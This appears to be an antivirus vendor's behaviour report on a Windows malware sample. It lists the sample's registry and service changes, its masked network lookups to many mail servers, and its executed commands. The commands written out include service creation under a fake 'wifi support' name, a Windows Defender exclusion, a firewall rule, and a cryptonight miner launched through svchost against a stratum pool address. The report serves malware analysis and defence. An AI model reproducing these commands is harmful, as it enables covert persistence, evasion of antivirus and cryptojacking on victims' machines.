Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\egydmcdu] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\egydmcdu] 'ImagePath' = '%WINDIR%\SysWOW64\egydmcdu\vannqpfk.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\egydmcdu] 'ImagePath' = '%WINDIR%\SysWOW64\egydmcdu\vannqpfk.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\egydmcdu' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\vannqpfk.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\vannqpfk.exe to %WINDIR%\syswow64\egydmcdu\vannqpfk.exe
Deletes itself.
Network activity
Connects to
- 'mx#######301.gslb.pphosted.com':25
- 'ma##.#-email.net':25
TCP
HTTP GET requests
- http://www.google.com/
- http://89.##.105.12/ip.shtml
- http://ap#.##-cy.ru:35000/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ce###.com.ph
- DNS ASK mx###.##stedmxserver.com
- DNS ASK ri###xi.com.ph
- DNS ASK ra##ler.ru
- DNS ASK in##.rambler.ru
- DNS ASK sh#w.ca
- DNS ASK sm##.##b.shawcable.net
- DNS ASK wi###wslive.com
- DNS ASK pa#####ranslations.com
- DNS ASK rw#####l-010.fmcity.com
- DNS ASK st.#-com.hr
- DNS ASK mx##.t-com.hr
- DNS ASK pa###ink.com
- DNS ASK ma##.b-io.co
- DNS ASK ar####ktkopia.se
- DNS ASK ar##########a-se.mx1.staysecuregroup.com
- DNS ASK my.##art.com.ph
- DNS ASK lo###.org.ph
- DNS ASK vi###.org.ph
- DNS ASK sm####n.orange.fr
- DNS ASK wa##doo.fr
- DNS ASK bi###i.ms.us
- DNS ASK mx##.####d.us.vadesecure.com
- DNS ASK ni###a.co.ph
- DNS ASK rj#.#fdhfavj.ph
- DNS ASK am###.com.ph
- DNS ASK ic###.com.ph
- DNS ASK me####dia.com.ph
- DNS ASK sc#i.se
- DNS ASK ta##hun.net
- DNS ASK xt##.co.nz.ph
- DNS ASK fi###ake.org.ph
- DNS ASK ao#.ph
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK pa####s-toronto.com
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK re##un.ph
- DNS ASK pa####awards.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK ju##y.it
- DNS ASK ma##.#-email.net
- DNS ASK mx#.####y.mail2world.com
- DNS ASK pa###ays.com
- DNS ASK pa##xpa.com
- DNS ASK ap#.#r-cy.ru
- DNS ASK li########.net.us.emailservice.io
- DNS ASK gf#.se
- DNS ASK pa#####plantation.com
- DNS ASK ya##o.co
- DNS ASK ar#####le.algonet.se
- DNS ASK on#.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK op###line.net
- DNS ASK mx.##timum.net
- DNS ASK ws#.edu
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK pa####ociates.com
- DNS ASK ea###link.net
- DNS ASK mx#.##rthlink.net
- DNS ASK ma#####1.paulwurth.com
- DNS ASK pa###urth.com
- DNS ASK sp##y.se
- DNS ASK vi#####br-mx.terra.com
- DNS ASK ex##te.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ya##o.it
- DNS ASK pr####cia.napoli.it
- DNS ASK ma##.###vincia.napoli.it
- DNS ASK pa#####sbaseball.com
- DNS ASK ho#e.se
- DNS ASK le###ton.com.ph
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK cp#.edu
- DNS ASK so###ractors.it
- DNS ASK jo####ondesign.se
- DNS ASK jo###########n-com.mail.protection.outlook.com
- DNS ASK pa#####lerautoplex.com
- DNS ASK sm####.intermedia.net
- DNS ASK or###oweb.se
- DNS ASK te###.com.br
- DNS ASK pa###aiken.com
- DNS ASK mx.#no.com
- DNS ASK hd#.ph
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK et###.#ail.tiscali.it
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK ed###ail.com.ph
- DNS ASK we###end.com.ph
- DNS ASK th#####tainpress.com
- DNS ASK ma##.###mountainpress.com
- DNS ASK mx#.#omcast.net
- DNS ASK pa##n.com
- DNS ASK ti###linet.it
- DNS ASK ta###rstl.com
- DNS ASK sm##.##cureserver.net
- DNS ASK mi###rdonut.ph
- DNS ASK aspmx.l.google.com
- DNS ASK co#####tonegardens.ca
- DNS ASK us.#bm.com
- DNS ASK mx#.#eznam.cz
- DNS ASK ti##ali.it
- DNS ASK em##l.cz
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK in##.com.ph
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK In#########.mail.protection.outlook.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK as###.daum.net
- DNS ASK co##ast.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ta##art.com
- DNS ASK ta#####.###.mx1.fulcrumgroup.rcimx.net
- DNS ASK ya###.com.au
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK gr###iti.net
- DNS ASK mx#.gmx.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho##ail.com
- DNS ASK de####y.sen.com.ph
- DNS ASK google.com
- DNS ASK bl####ebraska.com
- DNS ASK al####der.com.ph
- DNS ASK al###uebec.com
- DNS ASK ya##o.ph
- DNS ASK gs###nk.com.ph
- DNS ASK
- DNS ASK al###ange.de
- DNS ASK ma##.#llorange.de
- DNS ASK pi###ail.com
- DNS ASK co#.net
- DNS ASK ba###.com.ph
- DNS ASK al##r.com
- DNS ASK ma##.allor.com
- DNS ASK ka####sada.org.ph
- DNS ASK op###home.ph
- DNS ASK ma###wer.net.ph
- DNS ASK ni###je.org.ph
- DNS ASK pa####nakbaum.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK sm####.laposte.net
- DNS ASK la##ste.net
- DNS ASK co###umber.net
- DNS ASK mx#.##ailsrvr.com
- DNS ASK tm##l.com
- DNS ASK ne###ape.net
- DNS ASK ya##o.de
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK co######onephotography.com
- DNS ASK ni###u.com.ph
- DNS ASK mx#.#2bp.com
- DNS ASK ma##ay.ph
- DNS ASK mx#.##ttsu.com.ph
- DNS ASK co##ley.net
- DNS ASK pa####rthealth.com
- DNS ASK pa######.passporthealth.com
- DNS ASK sv###nline.com
- DNS ASK re#####.kiev.sovam.com
- DNS ASK yandex.ru
- DNS ASK mx.yandex.ru
- DNS ASK co#####tonevideo.com
- DNS ASK ck##r.ph
- DNS ASK ka###city.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\egydmcdu\vannqpfk.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\egydmcdu\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\vannqpfk.exe" %WINDIR%\SysWOW64\egydmcdu\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create egydmcdu binPath= "%WINDIR%\SysWOW64\egydmcdu\vannqpfk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description egydmcdu "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start egydmcdu' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\egydmcdu\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\vannqpfk.exe" %WINDIR%\SysWOW64\egydmcdu\
- '%WINDIR%\syswow64\sc.exe' create egydmcdu binPath= "%WINDIR%\SysWOW64\egydmcdu\vannqpfk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description egydmcdu "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start egydmcdu
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.86:8087 -u w1 -p x --nicehash --safe